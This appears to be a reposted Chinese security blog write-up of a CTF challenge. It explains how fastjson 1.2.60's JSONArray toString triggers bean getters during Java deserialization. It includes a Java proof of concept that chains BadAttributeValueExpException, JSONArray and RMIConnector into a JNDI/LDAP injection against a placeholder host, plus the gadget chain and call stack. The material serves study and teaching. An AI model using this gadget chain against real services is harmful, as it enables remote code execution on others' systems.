fastjson中JSONArrayJSONObject中toString方法触发getter的原理
2023-5-8 08:1:36 Author: Web安全工具库(查看原文) 阅读量:13 收藏

前言

前段时间看了一道CTF的题目

这道题主要是通过利用fastjson中的反序列过程中也能够调用类的getter方法这个知识点来进行利用的

常规的fastjson利用是传入的一个json串,通过autoType的方式在解析json串的过程中调用指定类的特定方法的getter/setter方法来进行利用的,但是如果没有fastjson的json串解析的入口,只有一个反序列化点的入口就不能够利用了吗?当然是可以的!

以前就知道这个知识点,但是一直没有真正去了解一下原理,这里趁着这道CTF来仔仔细细的了解一下这些个原理细节和底层逻辑

例题

这里我们先看看例题,后面再对toString触发getter的细节做出解释

题目附件可以从这里找到

简单说下,出题者重写了ObjectInputStream类中的resolveClass方法,在反序列化的过程中检查是否是黑名单类

并且存在有一个MyBean

很明显这个pojo类就是sink点了,如果conn可控就可以进行JNDI注入

利用已知的fastjson反序列化能够触发getter方法,也即是MyBean#getConnect方法

我们可以构造POC为

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://xx:8000/jndi/ldap://xx:8000/SpringController");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

MyBean myBean = new MyBean(null, null, rmiConnector);

JSONArray jsonArray = new JSONArray();
jsonArray.add(myBean);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);

System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));

将序列化数据传入反序列化路由中就可以进行ldap查询了

利用链

BadAttributeValueExpException#readObject
JSONArray#toString
JSONArray#toJSONString
ASMSerializer_1_MyBean#write
MyBean#getConnect

其中利用链中的ASMSerializer_1_MyBean类是fastjson中内置的asm框架动态生成的一个MyBean类

这里值得注意的是,比赛过程中,在本地反序列化过程中出现了错误,但是直接将生成的序列化输入放入远程环境能够成功(我也不明白为什么),反正知识点是对的就行!!

接下来详细了解一下本题中使用的知识点

知识点

环境

这里我使用的是ezbean这道题的环境,fastjson的版本也即是1.2.60

入口

在fastjson中存在实现了Serializable接口的类很少,经过检索,有以下3

  1. AntiCollisionHashMap: 这个类实现了自己的readObject方法

  2. JSONObject/JSONArray在这个版本中存在有自己的readObject方法

    主要是通过重写了ObjectInputStream#resolveClass方法来进行反序列化类的安全性检查

    没有任何的反序列化功能点

JSONArray的toString调用

因为在JSONArray类中的实现的readObject方法中除了检查恶意类之外没有反序列化的过程,所以我们需要找到一个中转的点,这里也就是toString方法的带哦用

本身JSONArray类中并没有toString方法,它使用父类JSONtoString方法

这里就是能够触发getter方法的关键点,toString方法中调用了toJSONString方法,通过执行对应的JSONSerializer#write方法达到getter方法触发的目的

接下来详细分析一下原理

调用getter流程

前面提到了将会调用JSONSerializer#write方法

这里将会通过getObjectWriter来获取一个ObjectSerializer的实现类

这是一个关于ObjectSerializer的官方的一个例子

最后会来到SerializeConfig#getObjectWriter方法中获取对应class对象的ObjectWriter

这里因为是使用的JSONArray进行JavaBean的嵌套使用,因为JSONArray是一个实现了List接口的一个类,所以获取到的是ListSerializer

而在ListSerializer#write的处理中

针对他的元素(一个JavaBean),他通过调用getObjectWriter方法获取了对应Bean类的ObjectWriter对象

所以又重新回到了SerializeConfig#getObjectWriter的调用过程

前面都是一些对一些常见的对象进行不同的Serilizer的映射,但是这里的JavaBean都不满足

来到这个方法的末尾部分

在不满足前面已有的映射,通过createJavaBeanSerializer方法来动态的创建一个类

在经过简单的黑名单过滤之后,调用TypeUtils#buildBeanInfo方法来提取这个JavaBean的类信息,为之后的类生成做准备

之后嘞,就是将提取的信息beanInfo传入createJavaBeanSerializer中进行JavaBeanSerializer类的动态生成

createJavaBeanSerializer方法中主要是通过调用createASMSerializer方法进行创建的

也即是ASMSerializerFactory#createJavaBeanSerializer方法创建

这里主要是使用ASM技术来生成ASMSerializer_num_className这种格式的类,类的包名和ASMSerializerFactory类的包名共用

至于类的field的创建

使用的是fieldName_asm_fieldType类型获取其他类型

之后就是对应方法的创建

最后生成的类为:

最后动态生成了这个类之后,将JavaBean类和这个Serializer进行映射

最后就会调用这个动态生成的serializer的write方法,在这个方法中就能够执行JavaBean类的getter方法了

调用栈为:

getConnect:29, MyBean (com.ctf.ezser.bean)
write:-1, ASMSerializer_1_MyBean (com.alibaba.fastjson.serializer)
write:135, ListSerializer (com.alibaba.fastjson.serializer)
write:285, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:960, JSON (com.alibaba.fastjson)
toString:954, JSON (com.alibaba.fastjson)
readObject:86, BadAttributeValueExpException (javax.management)

参考

https://xz.aliyun.com/t/12485#toc-3

https://y4tacker.github.io/

该内容转载自freebuff,仅供学习交流,勿作他用,如有侵权请联系删除。


关 注 有 礼

欢迎关注公众号:Web安全工具库

获取每日抽奖送书


文章来源: http://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247508934&idx=2&sn=69654c471f6dad7bd28303916aee14a8&chksm=ebb54cc5dcc2c5d3e8562a5fde7bcc59974659a10dfdf819500587df6a6050df063418e81a1f#rd
如有侵权请联系:admin#unsafe.sh